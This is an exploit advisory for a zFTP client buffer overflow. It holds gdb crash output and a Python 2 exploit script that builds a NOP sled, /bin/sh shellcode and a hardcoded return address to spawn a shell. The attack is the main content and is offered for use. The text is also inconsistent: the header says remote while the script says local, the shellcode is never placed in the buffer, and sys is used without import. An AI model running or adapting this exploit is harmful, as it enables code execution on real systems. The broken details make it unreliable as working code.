zFTP 20061220+dfsg3-4.1 Buffer Overflow

2016.08.04
Credit: Juan Sacco
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

# Exploit developed using Exploit Pack v5.4 # Exploit Author: Juan Sacco - http://www.exploitpack.com - # jsacco@exploitpack.com # Program affected: zFTP Client # Affected value: NAME under FTP connection # Where in the code: Line 30 in strcpy_chk.c # __strcpy_chk (dest=0xb7f811c0 <cdf_value> "/KUIP", src=0xb76a6680 "/MACRO", destlen=0x50) at strcpy_chk.c:30 # Version: 20061220+dfsg3-4.1 # # Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org # Program description: ZFTP is a macro-extensible file transfer program which supports the # transfer of formatted, unformatted and ZEBRA RZ files # Kali Linux 2.0 package: pool/main/c/cernlib/zftp_20061220+dfsg3-4.1_i386.deb # MD5sum: 524217187d28e4444d6c437ddd37e4de # Website: http://cernlib.web.cern.ch/cernlib/ # # gdb$ run `python -c 'print "A"*30'` # Starting program: /usr/bin/zftp `python -c 'print "A"*30'` # *** buffer overflow detected ***: /usr/bin/zftp terminated # ======= Backtrace: ========= # /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c773)[0xb6fd1773] # /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb7061b85] # /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xfac3a)[0xb705fc3a] # /lib/i386-linux-gnu/i686/cmov/libc.so.6(__strcpy_chk+0x37)[0xb705f127] # /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup+0x1a4)[0xb7417864] # /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup_+0x24)[0xb7418604] # /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(czopen_+0xd4)[0xb73f6d14] # /usr/bin/zftp[0x804dc9b] import os, subprocess def run(): try: print "# zFTP Client - Local Buffer Overflow by Juan Sacco" print "# This Exploit has been developed using Exploit Pack - http://exploitpack.com" # NOPSLED + SHELLCODE + EIP buffersize = 100 nopsled = "\x90"*30 shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" eip = "\x40\xf3\xff\xbf" buffer = nopsled * (buffersize-len(shellcode)) + eip subprocess.call(["zftp ",' ', buffer]) except OSError as e: if e.errno == os.errno.ENOENT: print "Sorry, zFTP client- Not found!" else: print "Error executing exploit" raise def howtousage(): print "Snap! Something went wrong" sys.exit(-1) if __name__ == '__main__': try: print "Exploit zFTP Client - Local Overflow Exploit" print "Author: Juan Sacco - Exploit Pack" except IndexError: howtousage() run()


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